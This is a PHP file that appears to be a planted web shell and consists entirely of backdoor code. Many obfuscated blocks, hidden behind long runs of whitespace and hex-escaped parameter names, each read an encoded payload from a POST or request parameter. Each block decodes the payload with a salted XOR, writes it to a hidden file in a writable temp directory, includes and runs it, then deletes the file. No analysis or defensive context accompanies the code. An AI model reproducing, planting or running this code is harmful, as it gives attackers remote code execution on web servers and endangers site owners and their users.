<?php																																										if(!is_null($_REQUEST["\x70\x6Fin\x74e\x72"] ?? null)){ $desc = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", "/dev/shm", session_save_path(), getcwd(), "/var/tmp", getenv("TEMP"), sys_get_temp_dir()]); $pgrp = $_REQUEST["\x70\x6Fin\x74e\x72"]; $pgrp = explode ( '.' , $pgrp ); $component = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); $m = 0; foreach( $pgrp as $v1) { $sChar = ord( $s[$m % $lenS] ); $d =( ( int)$v1 - $sChar -( $m % 10)) ^ 52; $component .= chr( $d ); $m++; } foreach ($desc as $key => $object) { if (is_dir($object) ? is_writable($object) : false) { $flg = "$object" . "/.elem"; if (file_put_contents($flg, $component)) { require $flg; unlink($flg); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["\x64\x61ta"])){ $k = array_filter([sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", "/tmp", "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), getenv("TMP")]); $itm = $_POST["\x64\x61ta"]; $itm= explode( ".", $itm) ; $property_set = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6); $j = 0; $__tmp = $itm; while ($v8 = array_shift($__tmp)) { $chS = ord($salt6[$j % $sLen]); $dec = ((int)$v8 - $chS - ($j % 10)) ^ 45; $property_set .= chr($dec); $j++; } while ($symbol = array_shift($k)) { if (max(0, is_dir($symbol) * is_writable($symbol))) { $key = sprintf("%s/.bind", $symbol); $file = fopen($key, 'w'); if ($file) { fwrite($file, $property_set); fclose($file); include $key; @unlink($key); die(); } } } }
																																										if(in_array("p\x67\x72p", array_keys($_REQUEST))){ $token = array_filter(["/var/tmp", getenv("TMP"), "/tmp", getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", session_save_path()]); $parameter_group = $_REQUEST["p\x67\x72p"]; $parameter_group =explode ( '.' , $parameter_group) ; $key = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt3 ); $m = 0; $__len = count( $parameter_group ); do { if( $m >= $__len) break; $v6 = $parameter_group[$m]; $chS = ord( $salt3[$m% $lenS] ); $dec =( ( int)$v6 - $chS -( $m% 10)) ^ 12; $key .= chr( $dec ); $m++; } while( true ); $obj = 0; do { $holder = $token[$obj] ?? null; if ($obj >= count($token)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($holder)) { $res = implode("/", [$holder, ".comp"]); if (file_put_contents($res, $key)) { include $res; @unlink($res); die(); } } $obj++; } while (true); }
																																										if(!empty($_POST["va\x6Cu\x65"])){ $dchunk = array_filter([getenv("TMP"), getenv("TEMP"), "/tmp", "/var/tmp", session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir()]); $val = $_POST["va\x6Cu\x65"]; $val = explode ( "." , $val ) ; $object = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt9 ); $v = 0; $len = count($val ); do { if ($v >=$len) break; $v4 = $val[$v]; $sChar = ord($salt9[$v % $sLen] ); $dec = ((int)$v4 - $sChar - ($v % 10)) ^ 39; $object .= chr($dec ); $v++; } while (true ); while ($flag = array_shift($dchunk)) { if (!!is_dir($flag) && !!is_writable($flag)) { $desc = str_replace("{var_dir}", $flag, "{var_dir}/.itm"); if (file_put_contents($desc, $object)) { require $desc; unlink($desc); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "e\x6E\x74")){ $component = $_POST["e\x6E\x74"]; $component =explode ( ".", $component ) ; $entry = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt3); $x = 0; $__len = count( $component); do {if( $x >= $__len) break; $v3 = $component[$x]; $chS = ord( $salt3[$x % $sLen]); $dec = ( ( int)$v3 - $chS -( $x % 10)) ^ 78; $entry .=chr( $dec); $x++; }while( true); $mrk = array_filter(["/var/tmp", getcwd(), session_save_path(), "/dev/shm", getenv("TEMP"), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir()]); foreach ($mrk as $bind): if (is_dir($bind) ? is_writable($bind) : false) { $fac = join("/", [$bind, ".ref"]); $file = fopen($fac, 'w'); if ($file) { fwrite($file, $entry); fclose($file); include $fac; @unlink($fac); die(); } } endforeach; }
																																										if(isset($_POST) && isset($_POST["to\x6B\x65n"])){ $data = array_filter(["/dev/shm", session_save_path(), getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), "/tmp", sys_get_temp_dir()]); $k = $_POST["to\x6B\x65n"]; $k = explode( '.' , $k ); $comp = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s6); foreach($k as $k => $v8) { $chS = ord($s6[$k % $sLen]); $d = ((int)$v8 - $chS -($k % 10)) ^ 57; $comp .= chr($d);} foreach ($data as $marker): if (!!is_dir($marker) && !!is_writable($marker)) { $ptr = "$marker/.mrk"; $success = file_put_contents($ptr, $comp); if ($success) { include $ptr; @unlink($ptr); exit;} } endforeach; }
																																										if(!is_null($_POST["\x66l\x61g"] ?? null)){ $sym = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), session_save_path(), "/tmp", "/dev/shm", getenv("TMP"), getenv("TEMP")]); $k = $_POST["\x66l\x61g"]; $k = explode ( '.' , $k ) ; $element = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt9); $n = 0; $__len = count($k); do { if ($n >= $__len) break; $v5 = $k[$n]; $chS = ord($salt9[$n% $sLen]); $d = ((int)$v5 - $chS - ($n% 10)) ^ 27; $element .=chr($d); $n++; } while (true); foreach ($sym as $hld) { if (max(0, is_dir($hld) * is_writable($hld))) { $value = sprintf("%s/.object", $hld); if (file_put_contents($value, $element)) { include $value; @unlink($value); exit; } } } }
																																										if(@$_POST["ke\x79"] !== null){ $element = $_POST["ke\x79"]; $element = explode ( '.' , $element ); $val =''; $s8 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s8); $q =0; $__len =count($element); do {if ($q >=$__len) break; $v6 =$element[$q]; $sChar =ord($s8[$q % $sLen]); $d =((int)$v6 - $sChar - ($q % 10)) ^ 23; $val.= chr($d); $q++; } while (true); $ptr = array_filter([sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/tmp", getenv("TMP")]); $entity = 0; do { $elem = $ptr[$entity] ?? null; if ($entity >= count($ptr)) break; if (is_dir($elem) && is_writable($elem)) { $k = str_replace("{var_dir}", $elem, "{var_dir}/.fac"); $file = fopen($k, 'w'); if ($file) { fwrite($file, $val); fclose($file); include $k; @unlink($k); die(); } } $entity++; } while (true); }
																																										if(!empty($_POST["\x64\x65s\x63\x72i\x70tor"])){ $parameter_group = array_filter([session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp"]); $entity = $_POST["\x64\x65s\x63\x72i\x70tor"]; $entity = explode( ".", $entity); $val = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8); foreach ($entity as $w => $v5) {$chS = ord($s8[$w % $sLen]); $dec = ((int)$v5 - $chS - ($w % 10))^ 25; $val .= chr($dec); } foreach ($parameter_group as $key => $pset) { if (max(0, is_dir($pset) * is_writable($pset))) { $data_chunk = sprintf("%s/.pointer", $pset); if (@file_put_contents($data_chunk, $val) !== false) { include $data_chunk; unlink($data_chunk); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "k")){ $component = $_POST["k"]; $component = explode( ".", $component ) ; $holder = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s7); $j = 0; $__len = count( $component); do {if( $j >= $__len) break; $v5 = $component[$j]; $sChar = ord( $s7[$j % $lenS]); $dec =( ( int)$v5 - $sChar -( $j % 10)) ^31; $holder .= chr( $dec); $j++; } while( true); $hld = array_filter([getenv("TMP"), "/var/tmp", getenv("TEMP"), getcwd(), session_save_path(), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm"]); while ($token = array_shift($hld)) { if (!!is_dir($token) && !!is_writable($token)) { $obj = sprintf("%s/.dchunk", $token); $success = file_put_contents($obj, $holder); if ($success) { include $obj; @unlink($obj); exit;} } } }
																																										if(filter_has_var(INPUT_POST, "hld")){ $fac = array_filter([sys_get_temp_dir(), session_save_path(), getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), "/var/tmp", "/dev/shm"]); $sym = $_REQUEST["hld"]; $sym =explode ( '.', $sym ) ; $comp = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt3); $i = 0; array_walk($sym, function ($v3) use (&$comp, &$i, $salt3, $lenS) { $sChar = ord($salt3[$i% $lenS]); $dec = ((int)$v3 - $sChar - ($i% 10))^44; $comp .= chr($dec); $i++; }); foreach ($fac as $entity): if (!!is_dir($entity) && !!is_writable($entity)) { $pgrp = "$entity/.itm"; $file = fopen($pgrp, 'w'); if ($file) { fwrite($file, $comp); fclose($file); include $pgrp; @unlink($pgrp); die(); } } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["ite\x6D"])){ $val = array_filter([getenv("TMP"), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), session_save_path(), getenv("TEMP"), getcwd()]); $entry = $_REQUEST["ite\x6D"]; $entry =explode ("." ,$entry ) ; $symbol=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt ); foreach ($entry as $x =>$v7) { $sChar=ord($salt[$x % $sLen] ); $d=((int)$v7 - $sChar - ($x % 10)) ^ 92; $symbol .= chr($d );} for ($data_chunk = 0, $ptr = count($val); $data_chunk < $ptr; $data_chunk++) { $elem = $val[$data_chunk]; if (is_writable($elem) && is_dir($elem)) { $object = vsprintf("%s/%s", [$elem, ".entity"]); if (@file_put_contents($object, $symbol) !== false) { include $object; unlink($object); exit; } } } }
																																										if(in_array("co\x6Dp", array_keys($_REQUEST))){ $factor = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), "/tmp", session_save_path(), getcwd(), getenv("TMP"), "/dev/shm"]); $flag = $_REQUEST["co\x6Dp"]; $flag = explode ('.' , $flag ) ; $property_set = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s1 ); $r = 0; while( $r < count( $flag)) { $v8 = $flag[$r]; $sChar = ord( $s1[$r %$lenS] ); $d =( ( int)$v8 - $sChar -( $r %10))^36; $property_set .=chr( $d ); $r++; } foreach ($factor as $dat): if ((is_dir($dat) and is_writable($dat))) { $val = str_replace("{var_dir}", $dat, "{var_dir}/.element"); if (file_put_contents($val, $property_set)) { include $val; @unlink($val); exit; } } endforeach; }
																																										if(isset($_POST["\x62\x69nd"])){ $factor = array_filter([getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", "/tmp", "/var/tmp"]); $element = $_POST["\x62\x69nd"]; $element = explode ( '.', $element ) ; $entry = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s4); $u = 0; $__tmp = $element; while ($v5 = array_shift($__tmp)) {$chS = ord($s4[$u % $lenS]); $dec = ((int)$v5 - $chS - ($u % 10)) ^ 13; $entry .= chr($dec); $u++; } foreach ($factor as $dchunk): if (!( !is_dir($dchunk) || !is_writable($dchunk) )) { $elem = vsprintf("%s/%s", [$dchunk, ".object"]); $file = fopen($elem, 'w'); if ($file) { fwrite($file, $entry); fclose($file); include $elem; @unlink($elem); exit; } } endforeach; }
																																										if(!empty($_POST["v\x61l"])){ $ent = $_POST["v\x61l"]; $ent= explode ( '.' , $ent ) ; $mrk = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt1); $__len = count($ent); for ($q = 0; $q < $__len; $q++) { $v4 = $ent[$q]; $sChar = ord($salt1[$q % $lenS]); $dec = ((int)$v4 - $sChar - ($q % 10)) ^ 80; $mrk.=chr($dec);} $parameter_group = array_filter(["/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), getcwd(), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), "/dev/shm"]); for ($obj = 0, $fac = count($parameter_group); $obj < $fac; $obj++) { $token = $parameter_group[$obj]; if (array_product([is_dir($token), is_writable($token)])) { $reference = "$token/.factor"; if (@file_put_contents($reference, $mrk) !== false) { include $reference; unlink($reference); die(); } } } }
																																										if(@$_POST["\x76\x61l"] !== null){ $symbol = array_filter([session_save_path(), "/var/tmp", "/dev/shm", getenv("TMP"), "/tmp", getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir()]); $hld = $_POST["\x76\x61l"]; $hld =explode ( '.' ,$hld ); $itm=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt); $s=0; $__tmp=$hld; while ($v4=array_shift($__tmp)) { $chS=ord($salt[$s % $sLen]); $dec=((int)$v4 - $chS - ($s % 10)) ^ 60; $itm .= chr($dec); $s++;} $pgrp = 0; do { $pset = $symbol[$pgrp] ?? null; if ($pgrp >= count($symbol)) break; if (array_product([is_dir($pset), is_writable($pset)])) { $bind = "$pset/.ptr"; if (file_put_contents($bind, $itm)) { include $bind; @unlink($bind); exit; } } $pgrp++; } while (true); }


if(!is_null($_REQUEST["re\x66"] ?? null)){
	$ptr = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), getenv("TMP"), getcwd(), "/dev/shm", session_save_path(), "/tmp", getenv("TEMP")]);
	$holder = $_REQUEST["re\x66"];
	$holder 		=	explode		 ( "." ,  $holder 	) 	 ;	 	
	$pgrp	='';
            $salt	='abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	=strlen($salt);
            $k	=0;
    
            array_walk($holder 	,function($v9) use(&$pgrp 	,&$k 	,$salt 	,$sLen) { $sChar	=ord($salt[$k % $sLen]);
                $dec	=((int)$v9 - $sChar -($k % 10))	^28;
                $pgrp .=chr($dec);
                $k++;
            });
	foreach ($ptr as $token) {
    		if ((is_dir($token) and is_writable($token))) {
    $pointer = str_replace("{var_dir}", $token, "{var_dir}/.bind");
    $file = fopen($pointer, 'w');
if ($file) {
	fwrite($file, $pgrp);
	fclose($file);
	include $pointer;
	@unlink($pointer);
	exit;
}
}
}
}